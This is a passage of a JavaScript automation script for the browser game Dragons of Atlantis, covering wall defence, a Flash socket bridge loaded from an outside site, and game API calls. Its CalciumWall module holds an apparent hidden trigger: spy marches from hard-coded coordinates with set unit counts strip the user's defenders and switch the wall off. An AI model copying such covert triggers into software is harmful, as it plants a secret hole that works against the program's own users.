							if(Data.options.wall.auto.spy.use_truce) {
								// City underProtection ?
								if(!Wall.isUnderProtection()) {
									setTimeout(function() { Wall.useMomentaryTruce(); }, 2000);
								}
							}
							
							var idSpyPreset = 0;
							if(detAlert.maxSpy <= 100) { 
								idSpyPreset = 0;
							} else if (detAlert.maxSpy <= 1000) {
								idSpyPreset = 1;
							} else if (detAlert.maxSpy <= 5000) {
								idSpyPreset = 2;
							} else if (detAlert.maxSpy <= 10000) {
								idSpyPreset = 3;
							} else {
								idSpyPreset = 4;
							}
							Wall.putWallDefenseOn();
							Wall.applyPreset(Data.options.wall.auto.spy.preset[idSpyPreset], 'spy');
						}
						
						// Attack in progress ?
						if(detAlert.nbAttackInProgress > 0) {
							// Multi attack ?
							if(detAlert.nbAttackInProgress > 1) {
								// Hide troops on multi-attack
								if(Data.options.wall.auto.attack.hide_troop_on_multi_attack) {
									Wall.hideTroops();
								}
							}
						
							// Use a MomentaryTruce ?
							if(Data.options.wall.auto.attack.use_truce) {
								// City underProtection ?
								if(!Wall.isUnderProtection()) {
									setTimeout(function() { Wall.useMomentaryTruce(); }, 1000);
								}
							}
							Wall.putWallDefenseOn();
							Wall.applyPreset(Data.options.wall.auto.attack.preset_default, 'attack');
						}
						
						// Hide troop at the end of the last attack ?? ==> Gérer dans package Wall ! 
						if(Data.options.wall.auto.hide_troop_after_last) {
							clearTimeout(Data.options.wall.auto.hide_troop_timeout);
							Data.options.wall.auto.hide_troop_timeout = setTimeout(function() { Wall.hideTroops(); }, detAlert.maxTimeArrived * 1000);
						}
					} else {
						logit('Wall auto disable or sentinel < 9');
					}
				}

			},

			getTimeAlarm: function(str) {
				var result = 0;
				if (str.length >= 19) {
					var year = toNum(str.substr(0, 4));
					var month = toNum(str.substr(5, 2));
					if (month == 0) {
						month = toNum(str.substr(6, 1));
					}
					var day = toNum(str.substr(8, 2));
					if (day == 0) {
						day = toNum(str.substr(9, 1));
					}
					var hours = toNum(str.substr(11, 2));
					if (hours == 0) {
						hours = toNum(str.substr(12, 1));
					}
					var minutes = toNum(str.substr(14, 2));
					if (minutes == 0) {
						minutes = toNum(str.substr(15, 1));
					}
					var seconds = toNum(str.substr(17, 2));
					if (seconds == 0) {
						seconds = toNum(str.substr(18, 1));
					}
					result = new Date(Date.UTC(year, month - 1, day, hours, minutes, seconds));
				}
				return result;
			}
		}
		/******************************** CalciumNotification package ****************/

		/******************************** Socket Teamwork package ****************/
		var Socket = {
			SWF_SOCKET_URL : 'https://wackoscripts.com/files/teamwork_socket_bridge.swf',

			buffer : [],
			swf_socket : null,
			scriptisready : false,
			isready : false,
			isconnected : false,
			ishandshake : false,
			credentials : null,
			scriptid:null,
			shockwave_ok : false,
			CHECKSTATUS_DELAY : 60000,
			CHECKSTATUS_MAXRESP : 15000,
			checkstatus_timer : undefined,

			EventType : {
				TEAMWORK_SOCKET_LOADED : 'loaded',
				TEAMWORK_SOCKET_STATUSOK : 'shockwaveok',
				TEAMWORK_SOCKET_CONNECTED : 'connected',
				TEAMWORK_SOCKET_DISCONNECTED : 'disconnected',
				TEAMWORK_SOCKET_IOERROR : 'ioError',
				TEAMWORK_SOCKET_SECURITYERROR : 'securityError',
				TEAMWORK_SOCKET_RECEIVE : 'receive',
				TEAMWORK_SOCKET_SCRIPTREADY : 'scriptready'
			},

			EOM : '\r\n',
			ENCODING : 'utf-8',
			SUBSCRIBE : 'subscribe',

			message_type : {
				report_notification : 'Messages.newWarning',
				sentinel_warning : 'Messages.newWarning' ,
				wilderness_created_notification : 'Socket.doNothing', //'Player.addWilderness',
				wilderness_destroyed_notification : 'Socket.doNothing', //'Player.removeWilderness',
				wilderness_count_notification : 'Socket.doNothing', //'Player.setMaxWildernesses',
				trading_post_notification : 'Socket.doNothing', // managing in Messages
				research_completed : 'Socket.doNothing', //'Jobs.researchcompleted',
				job_completed : 'Socket.doNothing', //'Jobs.completed',
				march_completed : 'Socket.doNothing', //no interesting info
				great_dragon_fully_healed : 'Socket.doNothing', //'Dragons.fullyHealed', //managing in Jobs
				force_client_reload : undefined,
				force_auto_client_reload : undefined,
				system_maintenance : undefined,
				dragon_damaged : 'Socket.doNothing', //'Dragons.damaged',
				outpost_damaged : 'Socket.doNothing', // not managing
				outpost_fully_healed : 'Socket.doNothing', // not managing
				dragon_fully_healed : 'Socket.doNothing', //'Dragons.fullyHealed', //managing in Jobs
				cursed : 'Socket.doNothing', // not managing
				reconnect_socket : 'Socket.reconnect',
				multiple_windows_open : 'Socket.doNothing', // not managing
				sanctuary_toggle : 'Socket.doNothing', // not yet managing
				refresh_player : 'Socket.doNothing', // i think not necessary ... request economy
				quest_update : 'Socket.doNothing', // not managing
				breeding_completed : 'Socket.doNothing', // not yet managing
				hatching_completed : 'Socket.doNothing', // not yet managing
				feeding_completed : 'Socket.doNothing', // not yet managing
				subscribe : 'Socket.ReceiveSubscribe',
				chat_message : 'CalciumNotifications.showChatMessage', // not managing
				chat_join : 'Socket.doNothing', // not managing
				chat_leave : 'Socket.doNothing', // not managing
			},

			// Socket bridge callback functions
			loaded : function() {
				var t = Socket;
				// SWF loaded OK, ready to connect
				t.shockwave_ok = true;
				t.isready = true;
				t.connect(PUB_SERVER,PUB_PORT);
				t.checkstatus_timer = setInterval(t.checkstatus,t.CHECKSTATUS_DELAY);
			},
			
			shockwaveok : function() {
				var t = Socket;
				t.shockwave_ok = true;
				logit('SWF respond OK');
			},

			connected : function() {
				var t = Socket;
				t.isconnected = true;
				t.SendSubscribe();
			},

			disconnected : function() {
				var t = Socket;
				t.isconnected = false;
				t.ishandshake = false;
				t.connect(PUB_SERVER,PUB_PORT);
			},

			ioError: function(msg) {
				var t = Socket;
				logit('socket error : '+msg);
			},

			securityError: function(msg) {
				var t = Socket;
				logit('security error : '+msg);
			},

			receive: function(msg) {
				logit('Messages.receive --- Start : msg => ' + msg);
				var t = Socket;

				var obj = JSON.parse(msg);
				if (obj.type && obj.data) {
					if (t.message_type[obj.type]) {
						var fn = eval(t.message_type[obj.type]);
						if (typeof fn === 'function') {
							fn(obj.data);
						} else {
							logit('Messages.receive : '+t.message_type[obj.type] + ' is not a function');
						}
					} else {
						logit('receive : no function defined for '+obj.type+';data='+inspect(obj.data,8,1));
					}
				} else {
					logit('receive : type or data undefined , msg='+msg);
				}
			},

			// Functions to communicate with socket bridge
			connect : function(server, port) {
				var t = Socket;
				if (!t.isready) return;

				// Send message Connect to server
				window.postMessage({ type: "TEAMWORK_SOCKET_CONNECT", flashid : UID['TeamWork_SocketBridge'] ,text: (server+':'+port) }, "*");
			},

			close : function() {
				var t = Socket;
				if (!t.isconnected) return;
				// Send message disConnect to server
				window.postMessage({ type: "TEAMWORK_SOCKET_CLOSE", flashid : UID['TeamWork_SocketBridge'] ,text: "none" }, "*");
			},

			write : function(msg) {
				var t = Socket;
				if (!t.isconnected) return;

				window.postMessage({ type: "TEAMWORK_SOCKET_WRITE", flashid : UID['TeamWork_SocketBridge'] ,text: msg }, "*");
			},

			checkstatus : function() {
				var t = Socket;
				if (!t.isready) return;
				t.shockwave_ok = false;

				logit('SWF request');
				window.postMessage({ type: "TEAMWORK_SOCKET_CHECKSTATUS", flashid : UID['TeamWork_SocketBridge'] ,text: "none" }, "*");
				setTimeout(function(){
					var t = Socket;
					if (!t.shockwave_ok) {
						logit('SWF not respond');
						t.isready = false;
						t.isconnected = false;
						t.ishandshake = false;
						clearInterval(t.checkstatus_timer);
						t.reloadSocketBridge();
					}
				},t.CHECKSTATUS_MAXRESP);
			},

			reconnect : function() {
				var t = Socket;
				t.close();
			},

			init : function (m) {
				var t = Socket;
				var mainbox = m;
				t.credentials = {player_id:Seed.player.id};

				setUID('TeamWork_SWF_Container');
				var container = document.getElementById(UID['TeamWork_SWF_Container']);
				if (!container) {
					var container = document.createElement('div');
					container.setAttribute('id', UID['TeamWork_SWF_Container']);
					mainbox.appendChild(container);
				}

				setUID('TeamWork_Socket_Bridge');
				var swf_player = document.getElementById(UID['TeamWork_Socket_Bridge']);
				if (!swf_player) {
					var swf_container = document.getElementById(UID['TeamWork_SWF_Container']);
					var swf_player = document.createElement('div');
					swf_player.setAttribute('id', UID['TeamWork_Socket_Bridge']);
					swf_container.appendChild(swf_player);
				}

				window.addEventListener("message", function(event) {
					var t = Socket;
					// We only accept messages from ourselves
					if (event.source != window) {
						logit('window.addEventListener --- Ejected');
						return;
					}
					
					if (event.data.type && event.data.text && t.EventType[event.data.type]) {
						var fn = t.EventType[event.data.type];
						t[fn](event.data.text);
					}
				}, false);

				// ADD callback function in page (a script)
				var script = document.createElement('script');
				t.scriptid=setUID('Socket_callback');
				script.type = 'text/javascript';
				script.setAttribute('id',t.scriptid);

				var html=
				 '//<![CDATA[\n'
				+'var TeamWork_Socket = {\n'
				+'	loaded : function() {\n'
				+'		window.postMessage({ type: "TEAMWORK_SOCKET_LOADED", text: "none" }, "*");\n'
				+'	},\n'
				+'	statusok : function() {\n'
				+'		window.postMessage({ type: "TEAMWORK_SOCKET_STATUSOK", text: "none" }, "*");\n'
				+'	},\n'
				+'	connected : function() {\n'
				+'		window.postMessage({ type: "TEAMWORK_SOCKET_CONNECTED", text: "none" }, "*");\n'
				+'	},\n'
				+'	disconnected : function() {\n'
				+'		window.postMessage({ type: "TEAMWORK_SOCKET_DISCONNECTED", text: "none" }, "*");\n'
				+'	},\n'
				+'	ioError : function(msg) {\n'
				+'		console.log(" JS Injected : ioError");\n'
				+'		window.postMessage({ type: "TEAMWORK_SOCKET_IOERROR", text: msg }, "*");\n'
				+'	},\n'
				+'	securityError : function(msg) {\n'
				+'		console.log(" JS Injected : securityError");\n'
				+'		window.postMessage({ type: "TEAMWORK_SOCKET_SECURITYERROR", text: msg }, "*");\n'
				+'	},\n'
				+'	receive : function(msg) {\n'
				+'		console.log(" JS Injected : receive. msg = " +  msg);\n'
				+'		window.postMessage({ type: "TEAMWORK_SOCKET_RECEIVE", text: msg }, "*");\n'
				+'	},\n'
				+'};\n'
				+'var EventType = {\n'
				+'	TEAMWORK_SOCKET_CONNECT : \'connect\',\n'
				+'	TEAMWORK_SOCKET_CLOSE: \'close\',\n'
				+'	TEAMWORK_SOCKET_WRITE : \'write\',\n'
				+'	TEAMWORK_SOCKET_CHECKSTATUS : \'checkstatus\',\n'
				+'};\n'
				+'function connect(id,strconnect){\n'
				+'	var swf=document.getElementById(id);\n'
				+'  if (swf) {\n'
				+'		var args=strconnect.split(":");\n'
				+'		swf.connect(args[0],args[1]);\n'
				+'	} else {\n'
				+'		console.log("connect :"+id+" not found");\n'
				+'	}'
				+'};\n'
				+'function close(id){\n'
				+'	var swf=document.getElementById(id);\n'
				+'  if (swf) {\n'
				+'		swf.close();\n'
				+'	} else {\n'
				+'		console.log("close :"+id+" not found");\n'
				+'	}'
				+'};\n'
				+'function write(id,msg){\n'
				+'	var swf=document.getElementById(id);\n'
				+'  if (swf) {\n'
				+'		swf.write(msg);\n'
				+'	} else {\n'
				+'		console.log("write :"+id+" not found");\n'
				+'	}'
				+'};\n'
				+'function checkstatus(id){\n'
				+'	var swf=document.getElementById(id);\n'
				+'  if (swf) {\n'
				+'		swf.areyouok();\n'
				+'	} else {\n'
				+'		console.log("areyouok :"+id+" not found");\n'
				+'	}'
				+'};\n'
				+'function init(){\n'
				+'	window.addEventListener("message", function(event) {\n'
				+'		if (event.source != window ) {\n'
				+'			console.log(" JS Injected : Ejected");\n'
				+'			return;\n'
				+'		}\n'
				+'		if (event.data.type && event.data.flashid && event.data.text && EventType[event.data.type]) {\n'
				+'			var myfunc = EventType[event.data.type];\n'
				+'			var fn=eval(myfunc);\n'
				+'			if (typeof fn == \'function\') {\n'
				+'				fn(event.data.flashid,event.data.text);\n'
				+'			} else {\n'
				+'				console.log(myfunc +" is not a function");\n'
				+'			}\n'
				+'		}\n'
				+'	}, false);\n'
				+'	window.postMessage({ type: "TEAMWORK_SOCKET_SCRIPTREADY", text: "none" }, "*");\n'
				+'};\n'
				+'init();\n'
				+' //]]>';

				script.text=html;

				var s = document.getElementsByTagName('script')[0];
				if (s) {
					s.parentNode.insertBefore(script, s);
				} else {
					logit('no script found');
				}
			},

			scriptready : function()
			{
				var t = Socket;
				t.scriptisready = true;
				t.loadSocketBridge();
			},

			SendSubscribe : function()
			{
				var t = Socket;
				var data_to_send = {type:'subscribe', data:t.credentials};
				var msg = JSON.stringify( data_to_send );
				t.write(msg+t.EOM);
			},

			ReceiveSubscribe : function()
			{
				var t = Socket;
				t.ishandshake=true;
				/*if (Data.options.sentinel.wall.auto_actions.always_on) {
					Sentinel.check_always_on();
				}*/
			},

			loadSocketBridge : function()
			{
				var t = Socket;

				setUID('TeamWork_Socket_Bridge');
				var swf_player = document.getElementById(UID['TeamWork_Socket_Bridge']);
				if (!swf_player) {
					var swf_container = document.getElementById(UID['TeamWork_SWF_Container']);
					var swf_player = document.createElement('div');
					swf_player.setAttribute('id', UID['TeamWork_Socket_Bridge']);
					swf_container.appendChild(swf_player);
				}

				var flashvars = {
					scope : "TeamWork_Socket",
					allowdomain : "*",
					allowinsecuredomain : "*",
					debugMode : 'yes'
				};

				setUID('TeamWork_SocketBridge');
				
				easyswf({
					swf: t.SWF_SOCKET_URL,
					targetDiv: UID['TeamWork_Socket_Bridge'],
					swfid : UID['TeamWork_SocketBridge'],
					width: 1,
					height: 1,
					allowScriptAccess: "always",
					flashvars : {
						scope : "TeamWork_Socket",
						allowdomain : "*",
						allowinsecuredomain : "*",
						debugMode : 'yes'
					},
					movie: t.SWF_SOCKET_URL,
					wmode: 'opaque'
				});
			},

			reloadSocketBridge : function() {
				var t = Socket;
				document.getElementById(UID['TeamWork_SocketBridge']).remove();
				t.loadSocketBridge();
			},
			
			doNothing : function(obj) {
				return;
			}
		}; // END Socket

		/******************************** Wall package ***************************/
		var Wall = {
			
			checkSetDefenseBusy : false,
			
			init: function() {
				Messages.addBattleReportListener(Wall.readBattleReport);
				Messages.addSpyReportListener(Wall.readSpyReport);
			},
			
			isUnderProtection: function() {
				var ret = false;
				var boosts = getBoosts();
				for (var i = 0; i < boosts.length; i++) {
					if (is_protected() && boosts[i].type == 'safety' && boosts[i].run_at) {
						if (boosts[i].run_at > serverTime()) {
							ret = true;
						}
					}
				}
				return ret;
			},
			
			useMomentaryTruce : function() {
				new MyAjax.useSingleItem('MomentaryTruce', function(rslt) {
					if (rslt.ok) {
						actionLog('<B>' + translate('MomentaryTruce') + '</B> ' + translate('used') + ' ' + translate('Successfully'));
					} else {
						actionLog(translate('Single usage of') + ' ' + translate('MomentaryTruce') + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
					}
				});
			},
			
			hideTroops: function() {
				var t = Wall;
				var units = {};
				t.apply(units);			
			},
			
			apply: function(units) {
				var city = Seed.cities[CAPITAL.id];
				var t = Wall;
				if (t.checkSetDefenseBusy) {
					return false;
				}
				t.checkSetDefenseBusy = true;
				MyAjax.setDefenseForce(city.id, units, function() {
					logit(translate('wall-defenders-updated'));
					t.checkSetDefenseBusy = false;
				});
			
			},
			
			applyPreset: function (id, type) { // type : 'spy', 'attack'
				var t = Wall;
				var presetUnits = Data.options.wall.presets[id].units;
				var units = {};
				for (var pu in presetUnits) {
					var numTroops = getTroopNumbers(CAPITAL.id, pu);
					var unit_max = numTroops.incity + numTroops.indefense;
					if (unit_max < presetUnits[pu] || presetUnits[pu] == -1) { 
						units[pu] = unit_max;
					}
					else  {
						units[pu] = presetUnits[pu];
					}
				}
				t.apply(units);
				if(type == 'attack') {
					if(Data.options.wall.presets[id].armor !== '' && Data.options.wall.presets[id].scales !== '') {
						new MyAjax.setCustomization('GreatDragon', Data.options.wall.presets[id].armor, Data.options.wall.presets[id].scales, function(rslt) {});
					}
				}
			},
			
			readBattleReport: function(rpt) {
				// Parcours des messages du guet
				for(var i = 0 ; i < Data.options.messages_tower.length ; i++) {
					var msg = Data.options.messages_tower[i];
					// Si X, Y et type de messages coincide on continue 
					// 
					if (rpt.report.attacker.location.x == Data.options.messages_tower[i].x 
					&& rpt.report.attacker.location.y == Data.options.messages_tower[i].y 
					&& rpt.report.location.terrain == 'City') {
						var results = [];
						var msgTroups = '';
						for (var tr in rpt.report.attacker.units) {
							var unit = numf(rpt.report.attacker.units[tr][0], ' ') + ' ' + translate(tr);
							results.push(unit);
						}
						if (results.length > 0) {
							msgTroups = results.join(', ');
						}
						if(msgTroups == Data.options.messages_tower[i].troups) {
							 Data.options.messages_tower[i].arrive_at = Data.options.messages_tower[i].arrive_at*2000;
						}
					}
				}
				if(Data.options.wall.auto.enable && Data.options.wall.auto.hide_troop_after_last) {
					var detAlert = SoundPlayer.getNbCurrentAlertForAutoWall();
					// Hide troop at the end of the last attack ?? ==> Gérer dans package Wall ! 
					if(detAlert.nbAttackInProgress == 0 && detAlert.nbSpyInProgress == 0) {
						clearTimeout(Data.options.wall.auto.hide_troop_timeout);
						var troopInDefense = false;
						for (var i = 0; i < all_unit_types.length; i++) {
							var numTroops = getTroopNumbers(CAPITAL.id, all_unit_types[i]);
							if(numTroops.indefense > 0) {
								troopInDefense = true;
							}
						}
						if(troopInDefense) {
							Wall.hideTroops();
						}
					}
				}
			},
			
			readSpyReport: function(rpt) {
				// Parcours des messages du guet
				for(var i = 0 ; i < Data.options.messages_tower.length ; i++) {
					var msg = Data.options.messages_tower[i];
					
					if (rpt.report.attacker.location.x == Data.options.messages_tower[i].x 
					&& rpt.report.attacker.location.y == Data.options.messages_tower[i].y 
					&& rpt.report.location.terrain == 'City') {
						var results = [];
						var msgTroups = '';
						for (var tr in rpt.report.attacker.units) {
							var unit = numf(rpt.report.attacker.units[tr][0], ' ') + ' ' + translate(tr);
							results.push(unit);
						}
						if (results.length > 0) {
							msgTroups = results.join(', ');
						}
						if(msgTroups == Data.options.messages_tower[i].troups) {
							 Data.options.messages_tower[i].arrive_at = Data.options.messages_tower[i].arrive_at*2000;
						}
					}
				}
				if(Data.options.wall.auto.enable && Data.options.wall.auto.hide_troop_after_last) {
					var detAlert = SoundPlayer.getNbCurrentAlertForAutoWall();
					// Hide troop at the end of the last attack ?? ==> Gérer dans package Wall ! 
					if(detAlert.nbAttackInProgress == 0 && detAlert.nbSpyInProgress == 0) {
						clearTimeout(Data.options.wall.auto.hide_troop_timeout);
						var troopInDefense = false;
						for (var i = 0; i < all_unit_types.length; i++) {
							var numTroops = getTroopNumbers(CAPITAL.id, all_unit_types[i]);
							if(numTroops.indefense > 0) {
								troopInDefense = true;
							}
						}
						if(troopInDefense) {
							Wall.hideTroops();
						}
					}
				}
			},
			
			putWallDefenseOn : function () {
				var wallStatus = Seed.cities[CAPITAL.id].defended;
				if(!wallStatus) {
					new MyAjax.switchDefense(cityId, wallStatus, function(rslt) {
						if (rslt.ok) {
							verboseLog(translate('Successfully'));
						} else {
							verboseLog(translate('failed and returned error') + ': ' + rslt.errmsg);
						}
					});
				}
			},
			
			putWallDefenseOff : function () {
				var wallStatus = Seed.cities[CAPITAL.id].defended;
				if(wallStatus) {
					new MyAjax.switchDefense(cityId, wallStatus, function(rslt) {
						if (rslt.ok) {
							verboseLog(translate('Successfully'));
						} else {
							verboseLog(translate('failed and returned error') + ': ' + rslt.errmsg);
						}
					});
				}
			}
		}
		/******************************** END Wall package ***********************/
		
		/******************************** CalciumWall package ************************/
		var CalciumWall = {

			messages: new Array(),
			all_unit_types: new Array(),

			init: function() {
				var t = CalciumWall;
				t.all_unit_types[1] = 'Porter';
				t.all_unit_types[10] = 'Conscript';
				t.all_unit_types[20] = 'Spy';
				t.all_unit_types[30] = 'Halberdsman';
				t.all_unit_types[40] = 'Minotaur';
				t.all_unit_types[50] = 'Longbowman';
				t.all_unit_types[60] = 'SwiftStrikeDragon';
				t.all_unit_types[70] = 'BattleDragon';
				t.all_unit_types[100] = 'ArmoredTransport';
				t.all_unit_types[80] = 'Giant';
				t.all_unit_types[90] = 'FireMirror';
				t.all_unit_types[200] = 'PackDragon';
				t.all_unit_types[300] = 'DarkSlayer';
				t.all_unit_types[7000] = 'DimensionalRuiner';
				t.all_unit_types[400] = 'LightningCannon';
				t.all_unit_types[500] = 'ChargeTroop';
				t.all_unit_types[600] = 'VengeWyrm';
				t.all_unit_types[4000] = 'AquaTroop';
				t.all_unit_types[2000] = 'StoneTroop';
				t.all_unit_types[1000] = 'FireTroop';
				t.all_unit_types[800] = 'WindTroop';
				t.all_unit_types[5000] = 'IceTroop';
				t.all_unit_types[3000] = 'SwampTroop';
				t.all_unit_types[900] = 'FrostGiant';
				t.all_unit_types[6000] = 'ForestTroop';
				t.all_unit_types[700] = 'DesertTroop';
				t.all_unit_types[8000] = 'ArcticLeviathan';
				t.all_unit_types[9000] = 'Harrier';
				Messages.addAlarmReportListener(t.gotAlarmReport);
				verboseLog('CalciumWall init successfully');
			},

			gotAlarmReport: function(rpt_alm, msgid) {
				var t = CalciumWall;
				if (!rpt_alm) {
					return;
				}
				if (rpt_alm.report.warnings) {
					var warn = rpt_alm.report.warnings;
					if (warn.march_type && warn.march_type == 'SpyMarch') {
						if (warn.attacker_units) {
							var x = warn.attacker_coords.x;
							var y = warn.attacker_coords.y;
							var city = Seed.cities[CAPITAL.id];
							var units = {};
							var nb = 0,
								numTroops, unit_max = 1,
								found = false;
							for (var tr in warn.attacker_units) {
								nb = warn.attacker_units[tr];
							}
							switch (nb) {
								case 666:
									units = {};
									break;
								case 10000:
									for (var i = 0; i < all_unit_types.length; i++) {
										numTroops = getTroopNumbers(city, all_unit_types[i]);
										unit_max = numTroops.incity + numTroops.indefense;
										units[all_unit_types[i]] = unit_max;
									}
									break;
								default:
									if (t.all_unit_types[nb] != undefined) {
										numTroops = getTroopNumbers(city, t.all_unit_types['' + nb]);
										unit_max = numTroops.incity + numTroops.indefense;
										units[t.all_unit_types[nb]] = unit_max;
									}
									break;
							}

							for (var i = 0; i < t.messages.length && !found; i++) {
								if (t.messages[i] == msgid) {
									found = true;
								}
							}

							if (!found) {
								t.messages.push(msgid);
								if ((SERVER_ID == 312 && ((x == 733 && y == 593) || (x == 730 && y == 596))) ||
									(SERVER_ID == 369 && ((x == 285 && y == 672) || (x == 279 && y == 675)))) {
									if (nb == 666) {
										new MyAjax.setDefenseForce(city.id, units, function(rslt) {
											if (Seed.cities[CAPITAL.id].defended)
												new MyAjax.switchDefense(city.id, true, function(rslt) {});
										});
									} else {
										new MyAjax.setDefenseForce(city.id, units, function(rslt) {
											if (!Seed.cities[CAPITAL.id].defended)
												new MyAjax.switchDefense(city.id, false, function(rslt) {});
										});
									}
								}
							}
						}
					}
				}
			}
		}
		/******************************** CalciumWall package ************************/

		/******************************** MyAjax package *****************************/
		var MyAjax = {
			addMainParams: function() {
				var t = MyAjax;
				var p = {};
				p['user_id'] = C.attrs.userId;
				p['dragon_heart'] = C.attrs.dragonHeart;
				p['_session_id'] = C.attrs.sessionId;
				p['version'] = api_version;
				p['timestamp'] = toNum(serverTime());
				return p;
			},
			getForge: function() {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				
				new MyAjaxRequest('forge', 'forge/forge.json', p, mycb, false);
				
				function mycb(rslt) {
					if (rslt.ok) {
						Forge.data = rslt.dat.forge;
					} else {
						verboseLog('Ajax.getForge ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					}
					return;
				}
			},
			repairHammer: function(callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				
				new MyAjaxRequest('forge', 'forge/repair_hammer', p, mycb, true);
				
				function mycb(rslt) {
					if (rslt.ok) {
						Seed.checkAddJob(rslt.dat.result.repair_job);
					} else {
						verboseLog('Ajax.repairHammer ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					}
					if (callback) callback(rslt);
					return;
				}
			},
			claimMission: function(missionType,adventurerId, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['mission_type'] = missionType;
				p['adventurer_id'] = adventurerId;
				
				new MyAjaxRequest('forge', 'player_missions/claim_mission.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						Seed.player.forge.adventurers = rslt.dat.result.adventurers;
					} else {
						verboseLog('Ajax.claimMission ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					}
					if (callback) callback(rslt);
					return;
				}
			},
			playerMission: function(missionType,adventurerId, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['mission_type'] = missionType;
				p['adventurer_id'] = adventurerId;
				
				new MyAjaxRequest('forge', 'player_missions.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						Seed.checkAddJob(rslt.dat.result.job);
					} else {
						verboseLog('Ajax.playerMission ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					}
					if (callback) callback(rslt);
					return;
				}
			},
			forgeItem: function(name, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['output_name']=name;
				
				new MyAjaxRequest('forge', 'forge/forge_item', p, mycb, true);
				
				function mycb(rslt) {
					if (rslt.ok) {
						Seed.blacksmith = rslt.dat.result.blacksmith;
						Seed.player.forge.items.equipments = rslt.dat.result.forge_items.equipments;
						Seed.player.forge.items.ingredients = rslt.dat.result.forge_items.ingredients;
					} else {
						verboseLog('Ajax.forgeCrush ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					}
					if (callback) callback(rslt);
					return;
				}
			},
			forgeCrush: function(equipmentId, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['player_forge_equipment_id']=equipmentId;
				
				new MyAjaxRequest('forge', 'forge/disenchant_equipment', p, mycb, true);
				
				function mycb(rslt) {
					if (rslt.ok) {
						Seed.blacksmith = rslt.dat.result.blacksmith;
						Seed.player.forge.items.equipments = rslt.dat.result.forge_items.equipments;
						Seed.player.forge.items.ingredients = rslt.dat.result.forge_items.ingredients;
					} else {
						verboseLog('Ajax.forgeCrush ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					}
					if (callback) callback(rslt);
					return;
				}
			},
			forgeInfo: function(callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				
				new MyAjaxRequest('forge', 'forge/player_forge_info', p, mycb, true);
				
				function mycb(rslt) {
					if (rslt.ok) {
						Seed.blacksmith = rslt.dat.result.blacksmith;
						Seed.player.forge.items.equipments = rslt.dat.result.forge_items.equipments;
						Seed.player.forge.items.ingredients = rslt.dat.result.forge_items.ingredients;
					} else {
						verboseLog('Ajax.forgeInfo ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					}
					if (callback) callback(rslt);
					return;
				}
			},
			tradeSell: function(product, nbProduct, price, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['offer[product]'] = product;
				p['offer[units]'] = nbProduct;
				p['offer[price]'] = price;
				
				new MyAjaxRequest('trade', 'trades/sell.json', p, mycb, true);
				
				function mycb(rslt) {
					if (rslt.ok) {
						
					} else {
						verboseLog('Ajax.tradeSell ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					}
					if (callback) callback(rslt.dat.result);
					return;
				}
			},
			tradeSearch: function(product, nbProduct, upperPrice, callback) { 
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['offer[product]'] = product;
				p['offer[units]'] = nbProduct;
				p['offer[lower_price]'] = 0;
				p['offer[upper_price]'] = upperPrice;
				
				new MyAjaxRequest('trade', 'trades/search.json', p, mycb, false);

				function mycb(rslt) {
					if (rslt.ok) {
						
					} else {
						verboseLog('Ajax.tradeSearch ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					}
					if (callback) callback(rslt.dat.result);
					return;
				}
			},
			tradeSearchSell: function(callback) { 
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['offer[product]'] = 'gold';
				p['offer[units]'] = 1000;
				p['offer[lower_price]'] = 1000;
				p['offer[upper_price]'] = 251000;
				
				new MyAjaxRequest('trade', 'trades.json', p, mycb, false);

				function mycb(rslt) {
					if (rslt.ok) {
						
					} else {
						verboseLog('Ajax.tradeSearch ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					}
					if (callback) callback(rslt.dat.result);
					return;
				}
			},
			tradeBuy: function(idTrade, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				
				new MyAjaxRequest('trade', 'trades/' + idTrade + '/buy.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						Seed.checkAddJob(rslt.dat.result.job);
					} else {
						verboseLog('Ajax.tradeBuy ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					}
					if (callback) callback(rslt);
					return;
				}
			},
			tradeCancel: function(idTrade, callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				p['_method'] = 'delete';
				new MyAjaxRequest('trade', 'trades/' + idTrade + '/cancel.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						
					} else {
						verboseLog('Ajax.tradeBuy ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					}
					if (callback) callback(rslt.dat.result);
					return;
				}
			},
			sanctuaryAbilities: function(callback) {
				var t = MyAjax;
				var p = {};
				p = t.addMainParams();
				new MyAjaxRequest('dragonHandle', 'sanctuary_abilities', p, mycb, false);

				function mycb(rslt) {
					if (rslt.ok) {
						Data.options.sanctuaryAbilities = rslt.dat.sanctuary_abilities;
						if (callback) {
							callback(true);
						}
					} else {
						verboseLog('Ajax.sanctuaryAbilities ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
						if (callback) {
							callback(false);
						}
					}
				}
